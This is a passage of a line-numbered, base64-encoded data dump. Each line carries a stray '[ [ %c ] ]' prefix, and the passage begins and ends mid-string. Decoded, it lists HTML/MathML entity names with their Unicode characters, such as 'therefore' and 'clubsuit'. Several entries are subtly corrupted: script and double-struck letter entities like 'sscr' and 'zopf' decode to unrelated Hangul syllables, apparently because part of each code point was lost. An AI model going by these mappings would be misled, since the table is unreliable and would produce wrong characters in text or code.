WN0b3I6YmFyDQripZYNCjp5OmFjeQ0K0K8NCnRoa3NpbQ0K4oi8DQo6dGhlcmVmb3JlDQriiLQNCmxvb3BhcnJvd3JpZ2h0DQrihqwNCnN1cGhzb2wNCuKfiQ0KZWxpbnRlcnMNCuKPpw0KOm5vdDpyaWdodDp0cmlhbmdsZTplcXVhbA0K4outDQpkaXZpZGVvbnRpbWVzDQrii4cNCnNhY3V0ZQ0KxZsNCjpsZWZ0OmFycm93OmJhcg0K4oekDQo6aW52aXNpYmxlOnRpbWVzDQrigaINCnRyaWFuZ2xlbGVmdGVxDQriirQNCnVwZG93bmFycm93DQrihpUNCmNsdWJzdWl0DQrimaMNCnZhcnJobw0Kz7ENCnZlcmJhcg0KfA0KYi46Z2FtbWFkDQrtn4oNCnZhcnBoaQ0Kz5UNCjp2dmRhc2gNCuKKqg0KOm5vdDpzdXBlcnNldDplcXVhbA0K4oqJDQpkZW1wdHl2DQriprENCnRoZXJlNA0K4oi0DQp2YXJzdWJzZXRuZXFxDQriq4vvuIANCnJjYXJvbg0KxZkNCnJmaXNodA0K4qW9DQpkZG90c2VxDQriqbcNCnJhbmdsZQ0K4p+pDQplcXNsYW50Z3RyDQriqpYNCnBsdXNkbw0K4oiUDQpnZXNkb3RvbA0K4qqEDQo6eTppY3kNCtCHDQo6ZG91YmxlOmRvdA0KwqgNCnVicmV2ZQ0Kxa0NCnJwYXINCikNCnNzY3INCu2TiA0KOm5vdDpwcmVjZWRlczpzbGFudDplcXVhbA0K4ougDQpwbHVzbW4NCsKxDQpwcmVjDQriiboNCnJhY3V0ZQ0KxZUNCmJveHRpbWVzDQriiqANCmN1cGJyY2Fw
  3066.   [ [ %c ] ] DQriqYgNCnByb3ANCuKInQ0Kc3VwZHN1Yg0K4quYDQp1cHNpDQrPhQ0KOnplcm86d2lkdGg6c3BhY2UNCuKAiw0KcnNjcg0K7ZOHDQpzcGFyDQriiKUNCjplOmVncg0KzpcNCnNjcG9saW50DQriqJMNCjpub3Q6c3VwZXJzZXQNCuKKg+KDkg0Kc3VjYw0K4om7DQpyaWdodHNxdWlnYXJyb3cNCuKGnQ0KcGx1c2R1DQriqKUNCnJvcGx1cw0K4qiuDQp6ZG90DQrFvA0Kem9wZg0K7ZWrDQo6bm90OmVxdWFsDQriiaANCjpkb3VibGU6bGVmdDphcnJvdw0K4oeQDQpud2Fycm93DQrihpYNCnN1YmUNCuKKhg0KbnZpbmZpbg0K4qeeDQpzbWFsbHNldG1pbnVzDQriiJYNCnVsY3JvcA0K4oyPDQpyaWdodHRocmVldGltZXMNCuKLjA0KcXNjcg0K7ZOGDQpwc2dyDQrPiA0KcHJvZA0K4oiPDQp5b3BmDQrtlaoNCnhyOmFycg0K4p+5DQp5YWN5DQrRjw0Kc3VwbGFycg0K4qW7DQppaW5maW4NCuKnnA0KdXRyaQ0K4pa1DQpxdW90DQoiDQo6cmNlZGlsDQrFlg0KZGRhZ2dlcg0K4oChDQo6ZzpqY3kNCtCDDQpzdW5nDQrimaoNCjpkb3duOnJpZ2h0OnRlZTp2ZWN0b3INCuKlnw0KbWNvbW1hDQriqKkNCnBzY3INCu2ThQ0Kc3Rhcg0K4piGDQpicnZiYXINCsKmDQpidW1wOmUNCuKqrg0KbW5wbHVzDQriiJMNCnByYXANCuKqtw0KeG9wZg0K7ZWpDQplcGFyc2wNCuKnow0KbmVhcmhrDQripKQNCjpzdWNjZWVkczp0aWxkZQ0K4om/DQpiaWdvZG90DQriqIANCmhvbXRodA0K4oi7DQp4Y2FwDQrii4INCmxvbmdsZWZ0YXJyb3cNCuKftQ0Kd3Njcg0K7ZOMDQpsb3diYXINCl8NCm9yZGVyb2YNCuKEtA0Kc2U6YXJyDQrih5gNCmRia2Fyb3cNCuKkjw0KaWlpaW50DQriqIwNCmNvbG9uZXENCuKJlA0KbmdlcXNsYW50DQriqb7MuA0KeG1hcA0K4p+8DQo6bm90Omxlc3M6dGlsZGUNCuKJtA0KOmQ6amN5DQrQgg0KbmNlZGlsDQrFhg0KdnNjcg0K7ZOLDQpzdXBlDQriiocNCnV1bWwNCsO8DQpzdWJwbHVzDQriqr8NCnByZWNuYXBwcm94DQriqrkNCmhlcmNvbg0K4oq5DQpydHJpDQrilrkNCjp1Z3JhdmUNCsOZDQp6ZXRhDQrOtg0KbmxlcXNsYW50DQriqb3MuA0KOnNxdWFyZTpzdXBlcnNldDplcXVhbA0K4oqSDQp6aGN5DQrQtg0Kc3F1Zg0K4paqDQp1c2NyDQrtk4oNCmduOmUNCuKJqQ0KbGNhcm9uDQrEvg0KbGZpc2h0DQripbwNCmxhbmdsZQ0K4p+oDQp0c2N5DQrRhg0KeWljeQ0K0ZcNCmFjOmUNCuKIvsyzDQo6c2NlZGlsDQrFng0KeGN1cA0K4ouDDQp0c2NyDQrtk4kNCmdsOmUNCuKqkg0KeG5pcw0K4ou7DQpicHJpbWUNCuKAtQ0KcnNxYg0KXQ0KY3VycmVuDQrCpA0KbGFncmFuDQrihJINCmlncmF2ZQ0Kw6wNCmFwcHJveA0K4omIDQp0cmllDQriiZwNCjpzY2Fyb24NCsWgDQo6bGVmdDphcnJvdw0K4oaQDQpucGFyYWxsZWwNCuKIpg0Kc210ZQ0K4qqsDQpsYWN1dGUNCsS6DQpzZG90DQrii4UNCnNvcGYNCu2VpA0KdmFycg0K4oaVDQo6ZDpzY3kNCtCFDQpzd2Fycm93DQrihpkNCnl1Y3kNCtGODQo6bmVnYXRpdmU6dmVyeTp0aGluOnNwYWNlDQrigIsNCnN1YnJh
  3067.   [ [ %c ] ] cnINCuKluQ0Kc2NhcA0K4qq4DQpyZGNhDQripLcNCnRicmsNCuKOtA0KOmNsb3NlOmN1cmx5OmRvdWJsZTpxdW90ZQ0K4oCdDQp6c2NyDQrtk48NCjp1bmRlcjpicmFja2V0DQrijrUNCnBsdXMNCisNCjpjb3VudGVyOmNsb2Nrd2lzZTpjb250b3VyOmludGVncmFsDQriiLMNCmxhbWJkYQ0KzrsNCmxvcGx1cw0K4qitDQpyZWFsDQrihJwNCnJvcGYNCu2Vow0KeXVtbA0Kw78NCnN0cmFpZ2h0ZXBzaWxvbg0Kz7UNCm52OmRhc2gNCuKKrQ0KdGludA0K4oitDQpsZzplDQriqpENCmRyYmthcm93DQripJANCmluY2FyZQ0K4oSFDQpkcmNyb3ANCuKMjA0KbG93YXN0DQriiJcNCnJhbmcNCuKfqQ0Kbmx0cmllDQrii6wNCnlzY3INCu2Tjg0KOnNhY3V0ZQ0KxZoNCm9kYmxhYw0KxZENCnFvcGYNCu2Vog0KYmxhY2t0cmlhbmdsZXJpZ2h0DQrilrgNCmJveDpkcg0K4pWTDQp2ZXJ0DQp8DQpiaWd0cmlhbmdsZWRvd24NCuKWvQ0KOm5vdDpsZXNzOmxlc3MNCuKJqsy4DQpyZWN0DQrilq0NCmN1cGN1cA0K4qmKDQpyYWNlDQriiL3MsQ0KdG9lYQ0K4qSoDQp4dmVlDQrii4ENCjp2ZXJiYXINCuKAlg0KeHNjcg0K7ZONDQpwb3BmDQrtlaENCnVhcnINCuKGkQ0Kenduag0K4oCMDQp2c3VwbjplDQriq4zvuIANCmxlc3NhcHByb3gNCuKqhQ0KdGhncg0KzrgNCnNmZ3INCs+CDQpib3g6aGQNCuKVpA0Kbmc6ZQ0K4omnzLgNCnN1cDENCsK5DQpzZWN0DQrCpw0Kc3VwMg0KwrINCjpjOmhjeQ0K0KcNCnNlbWkNCjsNCnN1cDMNCsKzDQpoYXJkY3kNCtGKDQppbnRlZ2Vycw0K4oSkDQpwZXJwDQriiqUNCjpyY2Fyb24NCsWYDQprZ3JlZW4NCsS4DQpwYXJhDQrCtg0Kc2ltZw0K4qqeDQpvYWN1dGUNCsOzDQpyYXJyDQrihpINCndvcGYNCu2VqA0KY3VyYXJyDQrihrcNCnNpbWUNCuKJgw0KdHJpYW5nbGVxDQriiZwNCnBoaXYNCs+VDQpxaW50DQriqIwNCjpkOnpjeQ0K0I8NCmxjZWRpbA0KxLwNCnNoY3kNCtGIDQpzZXh0DQrinLYNCmxuOmUNCuKJqA0KbnZsdHJpZQ0K4oq04oOSDQpzaW1sDQriqp0NCnZvcGYNCu2Vpw0KdmFybm90aGluZw0K4oiFDQpib3g6ZGwNCuKVlg0KOnVicmV2ZQ0KxawNCmJveDpodQ0K4pWnDQpyZHNoDQrihrMNCm5sZWZ0YXJyb3cNCuKGmg0KcmluZw0Ky5oNCmJveDp1cg0K4pWZDQpuY2Fyb24NCsWIDQpubDplDQriiabMuA0KOnJhY3V0ZQ0KxZQNCjpyaWdodDp0cmlhbmdsZTpiYXINCuKnkA0KdW9wZg0K7ZWmDQpiaWdzdGFyDQrimIUNCjpsZWZ0OmRvdWJsZTpicmFja2V0DQrin6YNCmlub2RvdA0KxLENCjpyaWdodDp1cDp0ZWU6dmVjdG9yDQripZwNCm52OmhhcnINCuKkhA0KcGFydA0K4oiCDQpyY3ViDQp9DQprYXBwYXYNCs+wDQpib3g6dnINCuKVnw0Kcmhvdg0Kz7ENCmFwOmUNCuKpsA0Kc21pZA0K4oijDQp0ZG90DQrig5sNCnRvcGYNCu2VpQ0KY3VwZG90DQriio0NCnRvc2ENCuKkqQ0KZXFjaXJjDQriiZYNCnBoZ3INCs+GDQphbmd6YXJyDQrijbwNCmJsYWNrdHJpYW5nbGUNCuKWtA0KY3lsY3R5DQrijK0NCnNvbGINCuKnhA0K
  3068.   [ [ %c ] ] Y3VwY2FwDQriqYYNCmRyY29ybg0K4oyfDQpjc2NyDQrtkrgNCjpsZWZ0OmNlaWxpbmcNCuKMiA0KbGZsb29yDQrijIoNCjp1ZGJsYWMNCsWwDQpjY3Vwc3NtDQriqZANCmV4Y2wNCiENCmtvcGYNCu2VnA0KbWxkcg0K4oCmDQpuYWN1dGUNCsWEDQpic2ltDQriiL0NCmllY3kNCtC1DQpsbmVxDQriqocNCjpkb3duOmxlZnQ6dGVlOnZlY3Rvcg0K4qWeDQpsY3ViDQp7DQo6bm90OnNxdWFyZTpzdXBlcnNldDplcXVhbA0K4oujDQpvaGdyDQrPiQ0KYXBvcw0KJw0KbmN1cA0K4qmCDQplcHNpDQrOtQ0KbGVxcQ0K4ommDQo6bjpqY3kNCtCKDQpuamN5DQrRmg0KYnNjcg0K7ZK3DQphbmdydHZiDQriir4NCmJveDp2bA0K4pWiDQpsYXRlDQriqq0NCmF1bWwNCsOkDQpqb3BmDQrtlZsNCmxuYXANCuKqiQ0KOm5vdDpzdWNjZWVkczp0aWxkZQ0K4om/zLgNCmxlc3NlcXFndHINCuKqiw0KYm94OnZoDQrilasNCmJzb2wNClwNCmJ1bXANCuKJjg0KbWxjcA0K4qubDQpuYnNwDQrCoA0Kb2FzdA0K4oqbDQo6c2hvcnQ6ZG93bjphcnJvdw0K4oaTDQpib3g6dWwNCuKVnA0KOmE6bTpwDQomDQphc2NyDQrtkrYNCmJ1bGwNCuKAog0KbGFycmxwDQrihqsNCjp1YWN1dGUNCsOaDQppb3BmDQrtlZoNCmxhcnINCuKGkA0Kbm1pZA0K4oikDQpkb3RwbHVzDQriiJQNCm9pbnQNCuKIrg0Kc3VjY2N1cmx5ZXENCuKJvQ0KbGVzZw0K4oua77iADQpuZ3RyDQriia8NCjpyaWdodDp1cDp2ZWN0b3I6YmFyDQripZQNCnNtZXBhcnNsDQrip6QNCmR6Y3kNCtGfDQpldXJvDQrigqwNCmxqY3kNCtGZDQpuZXhpc3QNCuKIhA0KY3VydmVhcnJvd3JpZ2h0DQrihrcNCmhiYXINCuKEjw0KOnZkYXNobA0K4qumDQo6dGhpY2s6c3BhY2UNCuKBn+KAig0KYi5zaWdtYQ0K7ZuUDQpuZXF1aXYNCuKJog0Kbmxlcw0K4qm9zLgNCmhhbGYNCsK9DQpob3BmDQrtlZkNCm5sZHINCuKApQ0Kb21pZA0K4qa2DQpubGVxDQriibANCjpvOmhncg0KzqkNCmR0cmkNCuKWvw0KaW90YQ0KzrkNCmFwaWQNCuKJiw0KZHN0cm9rDQrEkQ0KbGRzaA0K4oayDQpsZXNnZXMNCuKqkw0KOnRyaXBsZTpkb3QNCuKDmw0KOnVwOmVxdWlsaWJyaXVtDQripa4NCmxtb3VzdA0K4o6wDQpkb3duZG93bmFycm93cw0K4oeKDQpnc2NyDQrihIoNCm1hbHQNCuKcoA0KOnRjYXJvbg0KxaQNCmF3Y29uaW50DQriiLMNCmhhbWlsdA0K4oSLDQppYWN1dGUNCsOtDQpvZG90DQriipkNCm9vcGYNCu2VoA0KOm5vdDpodW1wOmVxdWFsDQriiY/MuA0KbGVzZG90DQriqb8NCmltb2YNCuKKtw0KbGFycmhrDQrihqkNCmtoZ3INCs+HDQpzYzplDQriqrQNCjpsb25nOmxlZnQ6YXJyb3cNCuKftQ0KOnJpZ2h0OmFycm93OmJhcg0K4oelDQpjaXJjbGVhcnJvd3JpZ2h0DQrihrsNCm5wb2xpbnQNCuKolA0KOmludmlzaWJsZTpjb21tYQ0K4oGjDQpraGN5DQrRhQ0KOmw6amN5DQrQiQ0KZnNjcg0K7ZK7DQpsYXJyZnMNCuKknQ0KZXVtbA0Kw6sNCm5idW1wZQ0K4omPzLgNCm5vcGYNCu2Vnw0KZ3NpbQ0K4omzDQppb2N5DQrRkQ0KOmU6dDpo
  3069.   [ [ %c ] ] DQrDkA0KbWFwc3RvDQrihqYNCm9kaXYNCuKouA0KZ3RjYw0K4qqnDQpjc3VwDQriq5ANCmhrc3dhcm93DQripKYNCmxvemYNCuKnqw0KbmNhcA0K4qmDDQo6cGx1czptaW51cw0KwrENCmJ1bGxldA0K4oCiDQpramN5DQrRnA0KbmFuZw0K4oig4oOSDQo6ZGlmZmVyZW50aWFsOmQNCuKFhg0KYi5lcHNpDQrtm4YNCmVzY3INCuKErw0KOmxlZnQ6Zmxvb3INCuKMig0KbWFsZQ0K4pmCDQo6bm90OmdyZWF0ZXI6c2xhbnQ6ZXF1YWwNCuKpvsy4DQpoYXJyDQrihpQNCm1vcGYNCu2Vng0KY3VsYXJyDQrihrYNCmRzY3kNCtGVDQppbnRjYWwNCuKKug0Kb3JzbG9wZQ0K4qmXDQpndHJzaW0NCuKJsw0Kb2Npcg0K4oqaDQpvZ29uDQrLmw0KOmdyZWF0ZXI6dGlsZGUNCuKJsw0KbGFycnBsDQripLkNCm5nZXMNCuKpvsy4DQpudHJpYW5nbGVsZWZ0ZXENCuKLrA0KOmRpYWNyaXRpY2FsOmFjdXRlDQrCtA0KbmlzZA0K4ou6DQo6ZGlhY3JpdGljYWw6ZG90DQrLmQ0KbGRjYQ0K4qS2DQpsaGFydWwNCuKlqg0KbmdlcQ0K4omxDQpkc2NyDQrtkrkNCmVwYXINCuKLlQ0KbWFjcg0Kwq8NCmIuOmxhbWJkYQ0K7ZqyDQpsb3BmDQrtlZ0NCmVzaW0NCuKJgg0KY3N1Yg0K4quPDQo6bGVmdDphbmdsZTpicmFja2V0DQrin6gNCmxhcnJ0bA0K4oaiDQpwcmVjc2ltDQriib4NCjpub3Q6dGlsZGUNCuKJgQ0KZHNvbA0K4qe2DQpjdXBzDQriiKrvuIANCmxhbmcNCuKfqA0Ka3Njcg0K7ZOADQptb2RlbHMNCuKKpw0KOm5vdDpncmVhdGVyOmZ1bGw6ZXF1YWwNCuKJp8y4DQpmcmFjMTYNCuKFmQ0KY2RvdA0KxIsNCmNvcGYNCu2VlA0KOmZpbGxlZDp2ZXJ5OnNtYWxsOnNxdWFyZQ0K4paqDQpmcmFjMTQNCsK8DQpmcmFjNzgNCuKFng0KY2VudA0KwqINCmZyYWMxNQ0K4oWVDQpmcmFjMjMNCuKFlA0KaXNpbmRvdA0K4ou1DQpmcmFjMTINCsK9DQpxdWVzdGVxDQriiZ8NCmRvd25oYXJwb29ubGVmdA0K4oeDDQpiLmlvdGENCu2big0KZnJhYzEzDQrihZMNCmZyYWMyNQ0K4oWWDQpnZXNsDQrii5vvuIANCm5zdXANCuKKhQ0KZnJhYzM0DQrCvg0KZnJhYzU4DQrihZ0NCmtjZWRpbA0KxLcNCmZyYWMzNQ0K4oWXDQpqc2NyDQrtkr8NCmZyYWM1Ng0K4oWaDQpob3JiYXINCuKAlQ0KOm1pbnVzOnBsdXMNCuKIkw0Kb2hhY2dyDQrPjg0KYm9wZg0K7ZWTDQpib3h2DQrilIINCmRhc2gNCuKAkA0KZnJhYzQ1DQrihZgNCml1bWwNCsOvDQpvbWludXMNCuKKlg0KZGlhbQ0K4ouEDQo6ZTpuOmcNCsWKDQpmcmFjMzgNCuKFnA0KOmk6ZWN5DQrQlQ0KOnJpZ2h0OnVwOmRvd246dmVjdG9yDQripY8NCnZzdWJuOmUNCuKri++4gA0KbHNxYg0KWw0KbnN1YnNldGVxDQriiogNCmZyYWMxOA0K4oWbDQpnamN5DQrRkw0KOnByZWNlZGVzOnRpbGRlDQriib4NCmZub2YNCsaSDQppc2NyDQrtkr4NCm5wcmUNCuKqr8y4DQphb3BmDQrtlZINCmRhcnINCuKGkw0KZ25hcA0K4qqKDQo6bGVmdDp0cmlhbmdsZTpiYXINCuKnjw0Kc3VibXVsdA0K4quBDQpndHJhcnINCuKluA0KaGVsbGlwDQrigKYNCmxtaWRv
  3070.   [ [ %c ] ] dA0KxYANCmJveGgNCuKUgA0KOmV4cG9uZW50aWFsOmUNCuKFhw0KbnN1Yg0K4oqEDQpzdWJlZG90DQriq4MNCmIuYmV0YQ0K7ZuDDQpmbGF0DQrima0NCjp0Y2VkaWwNCsWiDQo6Z3JlYXRlcjpncmVhdGVyDQriqqINCjpzdWJzZXQ6ZXF1YWwNCuKKhg0KZGpjeQ0K0ZINCmludGVyY2FsDQriiroNCjprOmpjeQ0K0IwNCmhzY3INCu2SvQ0KaXNpbg0K4oiIDQpsZXNkb3Rvcg0K4qqDDQpydWx1aGFyDQripagNCmNpcmMNCsuGDQpnbmVxDQriqogNCm1pZGRvdA0KwrcNCjpub3Q6c3F1YXJlOnN1YnNldDplcXVhbA0K4ouiDQo6azpoZ3INCs6nDQo6Z3JlYXRlcjpsZXNzDQriibcNCm5zdWJzZXQNCuKKguKDkg0KOnQ6cjphOmQ6ZQ0K4oSiDQpjaXJlDQriiZcNCmNvcHkNCsKpDQpsdHJpDQril4MNCm5lc2Vhcg0K4qSoDQo6YzpvOnA6eQ0KwqkNCnF1YXRpbnQNCuKolg0KZ3RyZXFxbGVzcw0K4qqMDQpnZXFxDQriiacNCjprOmhjeQ0K0KUNCm5wYXINCuKIpg0Kb3Njcg0K4oS0DQplZWdyDQrOtw0KbGRxdW9yDQrigJ4NCmJub3QNCuKMkA0KZ2RvdA0KxKENCmdvcGYNCu2VmA0KbnRnbA0K4om5DQpmb3JrDQrii5QNCjppOm9jeQ0K0IENCm5zaW0NCuKJgQ0KbnZnZQ0K4oml4oOSDQo6bm90OnJpZ2h0OnRyaWFuZ2xlDQrii6sNCmJldGgNCuKEtg0KZWNpcg0K4omWDQpudmx0DQo84oOSDQo6Y2F5bGV5cw0K4oStDQptYXJrZXINCuKWrg0Kc2V0bWludXMNCuKIlg0KYXRpbGRlDQrDow0KZW5zcA0K4oCCDQpvc29sDQriipgNCmNoY3kNCtGHDQp2emlnemFnDQrippoNCmVxdWFscw0KPQ0KbnNjcg0K7ZODDQpvcGFyDQriprcNCjpkb3duOnJpZ2h0OnZlY3Rvcg0K4oeBDQo6bGVmdDp1cDp2ZWN0b3INCuKGvw0Kb2Rzb2xkDQriprwNCnN1YnNldG5lcXENCuKriw0KOm86aGFjZ3INCs6PDQplbXNwDQrigIMNCmZvcGYNCu2Vlw0KbWFwc3RvdXANCuKGpQ0KOm5vdDpncmVhdGVyOnRpbGRlDQriibUNCjpyYXJydGwNCuKklg0KYi5sYW1iZGENCu2bjA0KYmV0YQ0KzrINCm1pZGNpcg0K4quwDQphbmR2DQriqZoNCmNvbXANCuKIgQ0KOnNob3J0OnVwOmFycm93DQrihpENCmNhcHMNCuKIqe+4gA0KbHBhcg0KKA0KbXNjcg0K7ZOCDQplZG90DQrElw0KZW9wZg0K7ZWWDQo6bm90OnN1YnNldDplcXVhbA0K4oqIDQpudmd0DQo+4oOSDQpsc2ltDQriibINCmJ1bXBlcQ0K4omPDQphcGFjaXINCuKprw0KbGxoYXJkDQripasNCmx0Y2MNCuKqpg0KbnZsZQ0K4omk4oOSDQpvcmRtDQrCug0KYmJyaw0K4o61DQpoYWlyc3ANCuKAig0KbWlkYXN0DQoqDQpsc2NyDQrtk4ENCjpub3Q6Z3JlYXRlcjpsZXNzDQriibkNCnByOmUNCuKqsw0KOnJpZ2h0OnRlZQ0K4oqiDQpkb3BmDQrtlZUNCm52YXANCuKJjeKDkg0Kb3VtbA0Kw7YNCnVwc2lsb24NCs+FDQphbmdlDQripqQNCmd0cmRvdA0K4ouXDQpsYXRhaWwNCuKkmQ0KcmlnaHRoYXJwb29uZG93bg0K4oeBDQphbmRkDQriqZwNCmhlYXJ0cw0K4pmlDQpvcm9yDQriqZYNCjpyaWdodDphcnJvdw0K4oaSDQpoZWFydHN1aXQN
  3071.   [ [ %c ] ] CuKZpQ0KOmhvcml6b250YWw6bGluZQ0K4pSADQpzdWNjc2ltDQriib8NCjpubzpicmVhaw0K4oGgDQpvZ3JhdmUNCsOyDQpvcmRmDQrCqg0KOm5vdDplcXVhbDp0aWxkZQ0K4omCzLgNCmNvbmcNCuKJhQ0KZXF2cGFyc2wNCuKnpQ0KbnNjZQ0K4qqwzLgNCm50bGcNCuKJuA0KOnN1Y2NlZWRzDQriibsNCjpsZXNzOmxlc3MNCuKqoQ0KbWludXNiDQriip8NCmlkaWFncg0KzpANCmI6bm90DQriq60NCmxlZnRyaWdodGFycm93cw0K4oeGDQo6bm90OnRpbGRlOnRpbGRlDQriiYkNCnN1cHNldG5lcQ0K4oqLDQpiYWNrc2ltDQriiL0NCmR6aWdyYXJyDQrin78NCm1pbnVzZA0K4oi4DQpzdXBzZXRlcXENCuKrhg0KOmRvdWJsZTpsb25nOmxlZnQ6cmlnaHQ6YXJyb3cNCuKfug0KbGJyYWNlDQp7DQo6dXA6dGVlOmFycm93DQrihqUNCmxlZnRhcnJvd3RhaWwNCuKGog0KbnByZWNlcQ0K4qqvzLgNCm52cnRyaWUNCuKKteKDkg0KbGJyYWNrDQpbDQo6dXA6ZG93bjphcnJvdw0K4oaVDQplcXVlc3QNCuKJnw0KdHJpYW5nbGVyaWdodGVxDQriirUNCmhvb2tsZWZ0YXJyb3cNCuKGqQ0KZWNhcm9uDQrEmw0KaHlidWxsDQrigYMNCm50cmlhbmdsZXJpZ2h0DQrii6sNCjpkaWFjcml0aWNhbDpncmF2ZQ0KYA0KOmRvd246YXJyb3c6dXA6YXJyb3cNCuKHtQ0KYi46Z2FtbWENCu2aqg0KYm94dTpyDQrilZgNCjp1bmRlcjpwYXJlbnRoZXNpcw0K4o+dDQpkYWxldGgNCuKEuA0KOmludGVyc2VjdGlvbg0K4ouCDQpscmhhcmQNCuKlrQ0KbnduZWFyDQripKcNCmIuemV0YQ0K7ZuHDQpvdGltZXMNCuKKlw0KOnByb2R1Y3QNCuKIjw0KY2FwY3VwDQriqYcNCmIua2FwcGF2DQrtm54NCmx0aHJlZQ0K4ouLDQpudW1lcm8NCuKElg0KdmFydHJpYW5nbGVyaWdodA0K4oqzDQpwb2ludGludA0K4qiVDQplY29sb24NCuKJlQ0KbnNjY3VlDQrii6ENCmNvbmludA0K4oiuDQpscGFybHQNCuKmkw0KZmZpbGlnDQrvrIMNCmhzdHJvaw0KxKcNCjpjb3Byb2R1Y3QNCuKIkA0KYm94djpyDQrilZ4NCmJveHY6bA0K4pWhDQplYWN1dGUNCsOpDQo6YmFja3NsYXNoDQriiJYNCjpjZW50ZXI6ZG90DQrCtw0KYm94djpoDQrilaoNCnRvcGZvcmsNCuKrmg0KY29sb25lDQriiZQNCm90aWxkZQ0Kw7UNCnByZWNhcHByb3gNCuKqtw0KbnN1Y2NlcQ0K4qqwzLgNCmxzYXF1bw0K4oC5DQo6djpkYXNoDQriiqsNCmNvbW1hdA0KQA0KOmh1bXA6ZXF1YWwNCuKJjw0KYi46ZGVsdGENCu2aqw0KYm94dTpsDQrilZsNCmNlbXB0eXYNCuKmsg0KOmdyZWF0ZXI6ZXF1YWw6bGVzcw0K4oubDQpiaWdjdXANCuKLgw0KYi51cHNpDQrtm5YNCmludGxhcmhrDQriqJcNCmRjYXJvbg0KxI8NCmRmaXNodA0K4qW/DQpmZW1hbGUNCuKZgA0KZWxzZG90DQriqpcNCmxsY29ybmVyDQrijJ4NCmZmbGxpZw0K76yEDQplZWFjZ3INCs6uDQpuc3VwOmUNCuKrhsy4DQpjYXBkb3QNCuKpgA0KOmxlZnQ6dHJpYW5nbGU6ZXF1YWwNCuKKtA0KbndhcmhrDQripKMNCmNhcGFuZA0K4qmEDQo6cmV2ZXJzZTp1cDplcXVpbGli
  3072.   [ [ %c ] ] cml1bQ0K4qWvDQphZ3JhdmUNCsOgDQpjaXJzY2lyDQrip4INCmIuOm9tZWdhDQrtm4ANCmFuZ21zZA0K4oihDQpjYXBjYXANCuKpiw0Kc3c6YXJyDQrih5kNCnI6YXRhaWwNCuKknA0KdHJpYW5nbGUNCuKWtQ0KbnRpbGRlDQrDsQ0KYmlnY2FwDQrii4INCmdjZWRpbA0KxKMNCmxvbmdtYXBzdG8NCuKfvA0KOnNxdWFyZTpzdWJzZXQNCuKKjw0KcmJya3NsZA0K4qaODQpsOmJhcnINCuKkjg0KdmFyc3Vic2V0bmVxDQriiorvuIANCm5zdXBzZXQNCuKKg+KDkg0KYi5waGl2DQrtm58NCmFuZGFuZA0K4qmVDQo6ZG91YmxlOmxvbmc6bGVmdDphcnJvdw0K4p+4DQo6bm90OnRpbGRlOmVxdWFsDQriiYQNCjpzdWNoOnRoYXQNCuKIiw0KbGVzc2VxZ3RyDQrii5oNCnBhcmFsbGVsDQriiKUNCmJveHBsdXMNCuKKng0KcGxhbmNraA0K4oSODQplbXB0eXYNCuKIhQ0KZ2VzZG90bw0K4qqCDQpib3hkOnINCuKVkg0KbnJhcnJjDQripLPMuA0KYnNvbGhzdWINCuKfiA0KYmVjYXVzZQ0K4oi1DQpkaXZpZGUNCsO3DQplOmRvdA0K4omRDQpyYnJrc2x1DQrippANCm9yaWdvZg0K4oq2DQpkOmhhcg0K4qWlDQpsZWZ0cmlnaHRoYXJwb29ucw0K4oeLDQpiLnJob3YNCu2boA0KOm5vdDpsZXNzDQriia4NCmRpZ2FtbWENCs+dDQpkOmFycg0K4oeTDQpnYWN1dGUNCse1DQppc2luOmUNCuKLuQ0KbDphYXJyDQrih5oNCmJhcndlZA0K4oyFDQpsdGxhcnINCuKltg0KbnJhcnJ3DQrihp3MuA0KZGlhbW9uZA0K4ouEDQpiYXJ2ZWUNCuKKvQ0KbnNpbWVxDQriiYQNCmJveGQ6bA0K4pWVDQpkaXZvbngNCuKLhw0KOnN1Y2NlZWRzOmVxdWFsDQriqrANCmd0bDpwYXINCuKmlQ0Kb3NsYXNoDQrDuA0KOnJpZ2h0OmZsb29yDQrijIsNCjpuZWdhdGl2ZTp0aGljazpzcGFjZQ0K4oCLDQphbmdzcGgNCuKIog0KYmVtcHR5dg0K4qawDQpib3hoOmQNCuKVpQ0KOm5vdDpsZXNzOnNsYW50OmVxdWFsDQriqb3MuA0KbnN1YjplDQriq4XMuA0Kc2ltcmFycg0K4qWyDQpsdGltZXMNCuKLiQ0KY2lyY2xlZDpyDQrCrg0KOnByZWNlZGVzDQriiboNCmNpcmNsZWQ6cw0K4pOIDQo6ZGlhY3JpdGljYWw6dGlsZGUNCsucDQo6czpvOmY6dGN5DQrQrA0KZ2FtbWFkDQrPnQ0KbnBhcnNsDQriq73ig6UNCm52ZGFzaA0K4oqsDQpkYWdnZXINCuKAoA0KOmxlc3M6dGlsZGUNCuKJsg0KYWJyZXZlDQrEgw0KY3VybHl3ZWRnZQ0K4ouPDQo6bm90OnNxdWFyZTpzdWJzZXQNCuKKj8y4DQpmb3JhbGwNCuKIgA0KZ3ZlcnRuZXFxDQriianvuIANCm1hcHN0b2xlZnQNCuKGpA0KYm94aDp1DQrilagNCjpyOmJhcnINCuKkkA0KbHVydWhhcg0K4qWmDQpuc3FzdXBlDQrii6MNCmJlcm5vdQ0K4oSsDQpiLmNoaQ0K7ZuYDQpsdHF1ZXN0DQriqbsNCjpuZXN0ZWQ6bGVzczpsZXNzDQriiaoNCmJrYXJvdw0K4qSNDQpyOmJhcnINCuKkjw0KY29tcGZuDQriiJgNCnRoaWNrYXBwcm94DQriiYgNCmlxdWVzdA0Kwr8NCmJpZ3ZlZQ0K4ouBDQpjb3B5c3INCuKElw0KOnZlcnk6dGhpbjpzcGFjZQ0K4oCKDQpjaXJtaWQN
  3073.   [ [ %c ] ] CuKrrw0KY29wcm9kDQriiJANCnVwaGFycG9vbnJpZ2h0DQrihr4NCnN1cHNldGVxDQriiocNCnNpbXBsdXMNCuKopA0KbHN0cm9rDQrFgg0KZGxjb3JuDQrijJ4NCmxvb3BhcnJvd2xlZnQNCuKGqw0KYm93dGllDQrii4gNCmN3Y29uaW50DQriiLINCmlzaW5zdg0K4ouzDQphYWN1dGUNCsOhDQpoOmFycg0K4oeUDQpyOmFhcnINCuKHmw0KZWdzZG90DQriqpgNCnN1Y2NuYXBwcm94DQriqroNCnZhcmVwc2lsb24NCs+1DQpib3R0b20NCuKKpQ0KcmFycnNpbQ0K4qW0DQpuc3FzdWJlDQrii6INCjp2ZXJ0aWNhbDp0aWxkZQ0K4omADQo6cmlnaHQ6dXA6dmVjdG9yDQrihr4NCjp1bmRlcjpiYXINCl8NCnR3b2hlYWRyaWdodGFycm93DQrihqANCmIuZXRhDQrtm4gNCmVhc3Rlcg0K4qmuDQpsc3F